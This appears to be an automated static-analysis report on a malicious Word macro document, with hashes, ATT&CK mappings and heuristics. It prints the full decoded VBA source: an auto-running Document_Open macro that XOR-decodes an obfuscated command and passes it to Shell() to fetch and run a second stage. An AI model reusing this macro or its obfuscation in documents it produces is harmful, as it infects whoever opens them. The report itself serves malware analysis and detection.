Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10c65a9e9c0d84a3…

MALICIOUS

Office (OLE)

426.5 KB Created: 2017-12-01 02:33:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 67413e4824b04c4285f522b591c9cef3 SHA-1: d9787ad515d9451b5b7792f6518476b81ff0a90c SHA-256: 10c65a9e9c0d84a32700196630864f2b8dea0c0ef7d5032424dbb98f1eb41ea6
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is configured to execute automatically, and it utilizes the Shell() function, indicating an attempt to run external code. The script appears to be obfuscated, but its primary function is to download and execute a second-stage payload, as suggested by the heuristic firings and the presence of the Shell() call. The specific payload and its destination are not directly discernible from the provided script excerpt.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2508 bytes
SHA-256: 4def0fd3f23ba38446c2d26c5350b0731661d263467a0dafd618f1c4d1ac95b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("wjbFzH").Value <> "toto" Then
gHuNuGwpJhEMwQzeNDDL
ActiveDocument.Variables("wjbFzH").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "oEYQznp"
Private Function azQzVPxNKu(GaOJIudADs As Variant, WipouVsYUD As Integer)
Dim varIOZIVvy, tvqgeTyITD As String, oRgVnaXWwa, KkaRUKoBJz
tvqgeTyITD = ActiveDocument.Variables("wjbFzH").Value()
varIOZIVvy = ""
oRgVnaXWwa = 1
While oRgVnaXWwa < UBound(GaOJIudADs) + 2
KkaRUKoBJz = oRgVnaXWwa Mod Len(tvqgeTyITD): If KkaRUKoBJz = 0 Then KkaRUKoBJz = Len(tvqgeTyITD)
varIOZIVvy = varIOZIVvy + Chr(Asc(Mid(tvqgeTyITD, KkaRUKoBJz + WipouVsYUD, 1)) Xor CInt(GaOJIudADs(oRgVnaXWwa - 1)))
oRgVnaXWwa = oRgVnaXWwa + 1
Wend
azQzVPxNKu = varIOZIVvy
End Function
Function BqXMUHmmNXjzfxU(ByVal cPqOgsAluY As String) As Boolean
FileExists = (Dir(cPqOgsAluY) <> "")
End Function
Public Function pQfESTmYRuHkNUa()
aTQjcbNq = azQzVPxNKu(Array(23, 23, 38, 56, 38, 9, 116, 85, 66, 5), 173)
uodkfrBOBrpgOnN = azQzVPxNKu(Array(57, 112, 117, 5, 58, 19, 51, 12, 57, 43, 12, 20, 18, 26, 27, 7, 51, 59, 59, 40, 6, _
50, 81, 33, 54, 38, 56, 19, 42, 54, 19, 51, 99, 16, 89, 36, 7, 16, 69), 133)
VINzL = "ExcludedString"
MsgBox uodkfrBOBrpgOnN
hDMOYywRwJvH = azQzVPxNKu(Array(95, 67, 63, 64, 87, 75, 120, 31, 78, 7, 28, 5, 9, 30, 13, 127, 41, 30, 30), 194)
xSqH = azQzVPxNKu(Array(41, 119, 37, 13, 47, 61, 50, 18, 39, 23, 34), 183)
MsgBox hDMOYywRwJvH
MsgBox xSqH
End Function
Function gHuNuGwpJhEMwQzeNDDL()
firstStage = azQzVPxNKu(Array(36, 61, 44, 115, 122, 34, 22, 40, 80, 51, 36, 49, 61, 7, 59, 107, 108, 64, 27, 4, 7, _
19, 58, 39, 36, 103, 72, 34, 39, 30, 48, 51, 66, 105, 62, 89, 44, 3, 32, 68, 91, _
95, 117, 92, 92, 10, 28, 100, 124, 74, 125, 122, 3, 118, 101, 106, 53, 3, 43, 71, 120, _
18, 70, 55, 83, 2, 57, 41, 89, 54, 57, 16, 75, 46, 85, 127, 75, 23, 113, 38, 22, _
60, 29, 33, 33, 38, 57, 24, 100, 93, 49, 55, 46, 80, 32, 115, 8, 22, 54, 46, 2, _
5, 3, 73, 54, 98, 114, 108, 52, 19, 10, 41, 7, 36, 12, 122, 28, 12, 20, 85, 109, _
81, 51, 22, 22, 5, 10, 34, 33, 68, 44, 13, 22), 0)
Shell (firstStage)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.